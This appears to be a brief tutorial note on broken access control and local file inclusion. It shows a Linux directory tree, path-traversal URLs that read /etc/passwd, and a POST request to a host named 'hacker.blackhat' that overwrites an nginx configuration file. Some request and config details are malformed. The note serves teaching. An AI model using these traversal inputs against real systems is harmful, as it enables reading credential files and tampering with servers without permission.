

Broken Access Control

What is broken access control?

透過修改 URL、內部應用程序狀態或 HTML 頁面，或使用攻擊工具修改 API 請求來繞過訪問控制檢查，存取或是修該超出權限範圍的資料或是資源。

Broken Access Control

Local File Inclusion

```
.
├── bin
├── dev
├── etc
│   ├── apache2
│   ├── nginx
│   └── passwd
├── sql
├── home
│   ├── admin
│   └── mirumo
├── media
├── opt
├── root
├── srv
├── sys
├── tmp
├── usr
├── www
└── server_file
```

hostname:port/../../etc/passwd

hostname:port/select_file?file=/etc/passwd

POST /modify?file=../../nginx/conf.d/default.conf http1.1

Host: hacker.blackhat

Content-Length: 28

Access: */*

```
server {
    listen: 54877
    ...
}
```